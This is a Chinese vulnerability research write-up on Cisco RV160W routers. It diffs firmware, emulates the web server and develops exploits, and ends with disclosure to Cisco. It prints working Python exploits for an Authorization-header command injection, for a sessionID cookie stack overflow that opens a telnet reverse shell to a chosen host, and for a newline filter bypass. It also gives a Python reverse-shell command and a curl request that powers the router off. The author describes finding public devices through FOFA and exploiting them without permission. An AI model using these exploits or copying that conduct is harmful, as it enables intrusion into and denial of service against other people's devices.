Cisco RV160W系列路由器漏洞:从1day分析到0day挖掘
2021-08-16 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:46 收藏

本文为看雪论坛精华文章
看雪论坛作者ID:b0ldfrev
(本文写于几个月前,由于官方还没公开推送补丁,就迟迟没发布) 本来只是打算分析思科RV160W这款路由器最近的无条件RCE漏洞。我diff固件查看变动代码,结果有了一些新发现。
 
https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv160-260-rce-XZeFkNHf.html

1

固件初步分析

根据官方的通告,Cisco Small Business RV160、RV160W、RV260、RV260P 和 RV260W VPN 路由器基于 Web 的管理界面中存在多个漏洞,可能允许未经身份验证的远程攻击者以root用户身份在受影响的设备上执行任意代码。这些漏洞在固件v1.0.01.02版本被修复。
我去Cisco Software Center下载了两个版本固件:
版本v1.0.01.01就是存在漏洞的固件。
 
binwalk解压固件,寻找提供web服务的二进制文件,其实可以根据rc.d与init.d目录的一些初始化脚本盲猜,这里本着通用性与研究性的目的用另一种方式寻找。
 
由于手中没有现成设备,firmadyne有点鸡肋,于是我在油管上找了个RV160W的配置教程,观察浏览器上方的url,根据关键字符“configurationManagement”定位到admin.cgi,进而定位到web组件是mini_httpd(32位arm小端程序)。
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "configurationManagement" * 2>/dev/nullusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.listwww/gettingStarted.htmwww/configurationManagement.htmwww/app.min20200813.jswww/home.htmb0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "admin.cgi" * 2>/dev/nullusr/sbin/mini_httpdusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.listb0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ file ./usr/sbin/mini_httpd./usr/sbin/mini_httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped

定位到web服务程序后,我们对两个版本固件的mini_httpd程序进行二进制代码对比(当然也有对 admin.cgi 进行对比,也存在不少改动代码,但这次我只关注mini_httpd组件部分)。
 
最经典的是bindiff这款工具,但是我用它并没有找到关键代码改动部分。

 

之后又使用了一款IDA插件diaphora,导出sqlite数据库后进行对比,发现 mini_httpd2 的 sub_1B034 函数(对应mini_httpd1的sub_1AF58函数)和sub_15CE4函数(对应mini_httpd1的sub_15CE4函数)改动较明显。

分析sub_1AF58函数改动部分
 
分别定位到两个程序相关代码部分。
 
mini_httpd1

mini_httpd2
在新版本的sub_1B340中,将格式化后的v3作为参数传递给system,在这之前v3经过了一次sub_1B034函数。
 
sub_1b034函数是新加入的,里面大概是过滤字符的功能。
这里已经不能再明显了,system函数处存在命令注入,于是mini_httpd2用过滤危险字符的方式修复了这个漏洞。
 
分析sub_15CE4函数改动部分
 
mini_httpd1
mini_httpd2
strcpy函数替换成了strncpy函数。断定此处strcpy存在栈溢出漏洞。
 
对固件的初步逆向分析后,基本判定老版本固件至少存在命令注入和栈溢出这两个漏洞。

2

固件模拟

模拟httpd服务,为了之后附加进程调试,我选用qemu系统模式进行模拟。
 
拷贝1.0.01.01固件文件系统进qemu,挂载一些关键目录后以chroot执行sh。
root@debian-armhf:~/rootfs# lsbin  etc  media  overlay  rom    sbin  test_scripts  usr  wwwdev  lib  mnt     proc      root    sys   tmp        varroot@debian-armhf:~/rootfs# mount -t proc  /proc/ ./proc/root@debian-armhf:~/rootfs# mount -t devtmpfs /dev/ ./dev/root@debian-armhf:~/rootfs# chroot . ./bin/sh BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash) / #

在运行mini_httpd之前可能需要初始化环境目录,这些往往都在rc.d与init.d启动脚本里面,所以全局搜索引用“mini_httpd”的地方。
b0ldfrev@ubuntu:~/cve/RV160W/rootfs$ grep -Rnl "mini_httpd" * 2>/dev/nulletc/scripts/mini_httpd/mini_httpd.shetc/rc.d/S23mini_httpd.initetc/init.d/mini_httpd.initetc/init.d/config_update.shusr/sbin/mini_httpdusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.list

发现etc/scripts/mini_httpd/mini_httpd.sh 与 etc/rc.d/S23mini_httpd.init 与 etc/init.d/mini_httpd.init 这些里面的内容都差不多,大概都是初始化一些文件然后最终启动/usr/sbin/mini_httpd。
#!/bin/sh /etc/rc.common START=23 version_gt() {    test "$(echo "$@" | tr " " "\n" | sort -n | head -n 1)" != "$1";}get_version() {    version=`cat $1 | grep "\"VERSION\"" | awk -F '"' '{print $4}'`    if [[ "${version/V/}" != "$version" ]]; then        version=`echo $version | awk -F 'V' '{print $2}'`    fi    echo $version}start() {    fwLgPath="/www/lang"    mntLgPath="/mnt/packages/languages"    mkdir -p /tmp/download    mkdir -p /tmp/download    mkdir -p /tmp/download/certificate    mkdir -p /tmp/download/log    mkdir -p /tmp/download/configuration    mkdir -p /tmp/www    mkdir -p /tmp/portal_img    if [ ! -d /mnt/packages/languages ]; then        mkdir -p /mnt/packages/languages        cp -rf ${fwLgPath}/* ${mntLgPath}    else        # check version        list="English Spanish Frensh German Itailian"        for i in $list; do            if [ -f ${fwLgPath}/${i}.js ]; then                if [ -f ${mntLgPath}/${i}.js ]; then                    tmp_version=`cat ${mntLgPath}/${i}.js | grep "\"VERSION\"" | awk -F '"' '{print $4}'`                    fw_version=$(get_version ${fwLgPath}/${i}.js)                    mnt_version=$(get_version ${mntLgPath}/${i}.js)                    if [[ "${tmp_version/V/}" != "$tmp_version" ]]; then                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js                    elif ! version_gt $mnt_version $fw_version; then                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js                    fi                else                    cp ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js                fi            fi        done    fi     /etc/scripts/mini_httpd/mini_httpd.sh start} stop() {    /etc/scripts/mini_httpd/mini_httpd.sh stop} reload() {    /etc/scripts/mini_httpd/mini_httpd.sh reload}

我试着运行了一个:
/ # /etc/init.d/mini_httpd.inituci: Entry not foundSyntax: /etc/init.d/mini_httpd.init [command] Available commands:    start    Start the service    stop    Stop the service    restart    Restart the service    reload    Reload configuration files (or restart if that fails)    enable    Enable service autostart    disable    Disable service autostart / # /etc/init.d/mini_httpd.init startuci: Entry not foundls: /mnt/configcert/confd/startup/: No such file or directoryuse backup cert for mini-httpd ...1 0 0 0setsockopt SO_REUSEADDR: Protocol not availablesetsockopt SO_REUSEADDR: Protocol not available/usr/sbin/mini_httpd: can't bind to any address/ #

发现报错can't bind to any address,这个报错在mini_httpd程序中,此时一些文件其实已经初始化了,我们可以只关注mini_httpd程序本身。
 
我们直接运行mini_httpd,同样的报错。
/ # /usr/sbin/mini_httpdsetsockopt SO_REUSEADDR: Protocol not availablesetsockopt SO_REUSEADDR: Protocol not available/usr/sbin/mini_httpd: can't bind to any address

错误原因是setsockopt函数在调用时协议参数不合法,经过一番尝试后无果;最后想到这种设置套接字属性的函数,其实hook掉对连接的影响也不是很大,关键服务能起来就行。
 
定位到程序报错点,是setsockopt失败返回负值导致的错误。

我索性将setsockopt函数hook全返回1。
/*arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook  */#include <stdio.h>#include <stdlib.h>#include<sys/socket.h> int setsockopt(int sockfd, int level, int optname,                      const void *optval, socklen_t optlen){ return 1;}
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash) / # LD_PRELOAD="/hook" ./usr/sbin/mini_httpdbind: Address already in use/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only / # ps |grep mini_httpd 2364 root      3540 S    ./usr/sbin/mini_httpd 2369 root      3120 S    grep mini_httpd
可以看到服务跑起来了,访问试试。

根据403字符定位到程序中:

执行sub_1b5f0函数后就退出了,猜测是某些环境变量的问题,这里为了不改变代码逻辑,我直接patch mini_httpd程序代码块,把跳转 sub_1B5F0的地方nop掉。

再次执行程序后访问web:

3

固件逆向分析与调试

接下来就是对mini_httpd的详细逆向过程,其实就是寻找触发路径。

命令注入漏洞分析

我把漏洞触发函数改成了vuln,以及调用vuln的上层函数vuln_back1,上上层函数vuln_back2........

vuln_back2

在vuln_back2中看出,我们只需要contrl_arg字符串里面包含"dniapi/"即可进入vuln_back1。
在往上看,contrl_arg被赋值成dword_34F60 + 1,并且dword_34F60第一个字符必须为'/',这里可以猜测contrl_arg是一个请求行的URL。
为了验证我的猜测,动态调试一下,由于所有的请求都被放在了fork子进程中处理。我这里暂时为了方便调试,hook了fork函数返回0,构造了GET /hello.txt。

vuln_back1

在vuln_back1中判断了contrl_arg是否是相关字符,不是就会去执行vuln,调用vuln时传入了contrl_arg这个参数。

vuln

vuln函数里面还有最后一层判断,必须让contrl_arg的前9个字符等于"download/"。

所以综上,我们可以构造GET请求URL为"/download/dniapi/",为了能触发system函数,我还需要调整contrl_cmd的值为"Basic "。
 
查找引用,发现在vuln_back2函数中给contrl_cmd赋值:
大胆猜测,这里就是HTTP的head的Authorization字段。
 
综上,最终能触发到system函数的请求大致如下:
GET /download/dniapi/ HTTP/1.1Authorization: Basic xxxxxxxxxxxxxxxxxxxxxxxxx

vuln通过sub_1E19C函数处理contrl_cmd + 6(Basic之后的字符串),结果放入v5,最终将v5作为拼接命令的一部分。

3字节一组,以及明显的base64解码字符表,经验证sub_1E19C就是base64解密函数。
 
所以只需要将请求Authorization: Basic后的字符换成想要执行命令的base64编码形式,同时用;字符截断原有的curl命令,就可以执行任意命令,下面以date命令为例。

Command Inject EXP

# affect firmware version <1.0.01.02import requestsimport sysimport base64import urllib3 if len(sys.argv)!=3:    print "Parameter error. python exp.py url \"command\""    exit(0) url = sys.argv[1]cmd =  sys.argv[2] CMD=";"+cmd+";"CMD=base64.b64encode(CMD) header = {'Authorization':"Basic "+CMD} urllib3.disable_warnings() if url[-1:]=='/':   url=url[:-1]r = requests.get(url+"/download/dniapi/", headers=header,verify=False) print "DONE!"


栈溢出漏洞分析

同样我将漏洞触发函数重命名成overflow,上层函数overflow_back1、overflow_back2。
 
在vuln_back2函数里,处理 cookie 并且作为参数传入overflow_back2函数。

在这之前会有一个check,检查当前请求的url资源内容是否是需要登录才能访问。
所以这里需要请求这些资源,使其返回1。
overflow_back2里判断cookie不为空后进入overflow_back1。
然后就是检索cookie是否包含sessionID,包含的话,将其以空格分隔后,传入overflow函数。
overflow函数中形参a2指向空字符,所以其实最后就是未限制sessionID长度在strcpy时的溢出。

POC如下:
import requestsimport urllib3import sys url = sys.argv[1] if url[-1:]=='/':   url=url[:-1] cmd="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac" payload = "sessionID="+cmd urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.get(url,headers=head,verify=False) print(r)print(r.text)print(r.content)
 
分析crash结果,得知是在overflow函数返回前抛出的内存引用异常。原因是数据过长,覆盖了压入栈中的第五个参数a5,它刚好位于返回地址下方,导致最后一个strcpy往a5变量地址写数据时,该地址不合法。
 
所以为了能够保证利用,需要刚好覆盖到overflow函数的返回地址。
 
经过调试,测得偏移为268,POC如下:
import requestsimport urllib3import sys url = sys.argv[1] if url[-1:]=='/':   url=url[:-1] payload = "sessionID=1234".ljust(268,"a")+"bbb" urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.get(url,headers=head,verify=False) print(r)print(r.text)print(r.content)

可以看到返回地址被覆盖成了bbb(0x626262),且可以观察到此时的r0寄存器指向sessionID=后的字符串1234...,因此可以在sessionID=后放置命令字符串,然后控制PC跳转到system函数上。由于cookie在overflow_back1函数中被过滤了空格,在overflow中被过滤了等号,导致命令执行受限,空格可以用${IFS}替换,等号只能避免使用了。
 

Stack Overflow EXP

关于system执行命令,我并不想去另寻僻径去ROP或者是上传后门程序,我尝试了很多技巧,最终以这种较为简单且通用的方式弹shell(输入与输出分离)。
# affect firmware version <1.0.01.02import requestsimport urllib3import sys  if len(sys.argv)!=5:    print "Parameter error. python exp.py url reverse_shell_host input_port output_port"    exit(0)  url = sys.argv[1]reverse_shell_host =  sys.argv[2]input_port= sys.argv[3]output_port= sys.argv[4]  if url[-1:]=='/':   url=url[:-1]  cmd="telnet "+reverse_shell_host+" "+input_port+" | /bin/sh | telnet "+reverse_shell_host+" "+output_port cmd2=cmd.replace(' ',"${IFS}")  payload = ("sessionID="+cmd2+";").ljust(268,"a")payload += "\x1c\xb1\x01"  urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.post(url,headers=head,verify=False) print(r)print(r.text)print(r.content)

4

本地测试

以Command Inject EXP为例:
python exp.py http://192.168.122.12 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.122.11\",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

5

真实设备测

由于我手里没有真实设备,只能找一些公网上的设备验证。
 
用burpsuit抓包获取设备特征:
Content-Security-Policy:是一个很明显的特征。
 
在fofa上搜索 header="frame-ancestors 'self' 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline' 'unsafe-eval'"
 
我这里只搜索了巴西的:
用exp打来试试:

6

获0day

一开始我补丁比较的时候就发现,v1.0.01.02固件在sprintf之前加入了字符过滤函数。

该函数完整代码如下:
_BYTE *__fastcall filer(_BYTE *output, _BYTE *input, int a3_1024){  _BYTE *v3; // r3  _BYTE *v4; // r3  _BYTE *v5; // r3  _BYTE *v6; // r3  _BYTE *v7; // r3  _BYTE *v8; // r2  int v9; // [sp+10h] [bp-14h]  _BYTE *v10; // [sp+14h] [bp-10h]  int v12; // [sp+1Ch] [bp-8h]  int v13; // [sp+1Ch] [bp-8h]  int v14; // [sp+1Ch] [bp-8h]   v12 = 0;  v9 = a3_1024 - 1;  v10 = output;  while ( *input )  {    if ( *input == '~'      || *input == '`'      || *input == '#'      || *input == '$'      || *input == '&'      || *input == '*'      || *input == '('      || *input == ')'      || *input == '|'      || *input == '['      || *input == ']'      || *input == '{'      || *input == '}'      || *input == ';'      || *input == '\''      || *input == '"'      || *input == '<'      || *input == '>'      || *input == '/'      || *input == '?'      || *input == '!'      || *input == ' '      || *input == '='      || *input == '\t' )    {      v3 = v10++;      *v3 = '\\';      if ( ++v12 >= v9 )        break;    }    else if ( *input == '\\' )    {      v4 = v10++;      *v4 = '\\';      v13 = v12 + 1;      if ( v13 >= v9 )        break;      v5 = v10++;      *v5 = '\\';      v14 = v13 + 1;      if ( v14 >= v9 )        break;      v6 = v10++;      *v6 = '\\';      v12 = v14 + 1;      if ( v12 >= v9 )        break;    }    v7 = v10++;    v8 = input++;    *v7 = *v8;    if ( ++v12 >= v9 )      break;  }  *v10 = 0;  return output;}

经分析,它的功能主要是检索字符串,一旦检测到敏感字符,就将在该字符前面加上一个转义符"\"。
 
比如我们构造命令ls -all,被它处理后字符变成了ls\ -all
 
我试了各种方法,都无法绕过。
 
但是我发现它并没有过滤换行符"\n",这可以让我们使用换行符截断命令,但是我们只能执行一些环境变量目录下的程序,并且还不能跟参数,可能的用处是开启一些对外的接口比如telnetd或其它。
 
但这也是一个很严重的过滤缺陷,因为我们可以构造"\npoweroff\n"来使路由器关机,这直接是拒绝服务攻击了。

EXP

根据上面Command Inject EXP代码,将字符拼接处的;换成\n即可。
# affect firmware version <1.0.01.04import requestsimport sysimport base64import urllib3 if len(sys.argv)!=3:    print "Parameter error. python exp.py url \"command with no parameters\""    exit(0) url = sys.argv[1]cmd =  sys.argv[2] CMD="\n"+cmd+"\n"CMD=base64.b64encode(CMD) header = {'Authorization':"Basic "+CMD} urllib3.disable_warnings() if url[-1:]=='/':   url=url[:-1]r = requests.get(url+"/download/dniapi/", headers=header,verify=False) print "DONE!"


测试

尝试过注入telnetd命令来开启telnetd服务:

但经1day打进去的公网设备验证发现,该系列路由器里没有配置用户密码。

下面只尝试poweroff的命令注入(效果最直观明显)。POC如下:
curl -i -s -k  -X $'GET' \    -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: local_lang=%22English%22; ru=0' -H $'Authorization: Basic CnBvd2Vyb2ZmCg==' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Wed, 07 Apr 2021 11:28:48 GMT' -H $'Cache-Control: max-age=0' \    -b $'local_lang=%22English%22; ru=0' \    $'https://127.0.0.1/download/dniapi/'

在公网上找了个用1day打getshell失败 但使用POC成功宕机的。
 
 

7

Notices

目前该漏洞已经提交给了思科厂商,思科已确认了该漏洞并修复。https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv-code-execution-9UVJr7k4.html

 

看雪ID:b0ldfrev

https://bbs.pediy.com/user-home-793907.htm

*本文由看雪论坛 b0ldfrev 原创,转载请注明来自看雪社区

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文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458391335&idx=1&sn=2a7cd660c9c7432ef100a6f4502d5f8e&chksm=b18f23ad86f8aabb5d8f246f7e813d89232483d3def6fee9d1cf61b481de9a123c3df84c1599#rd
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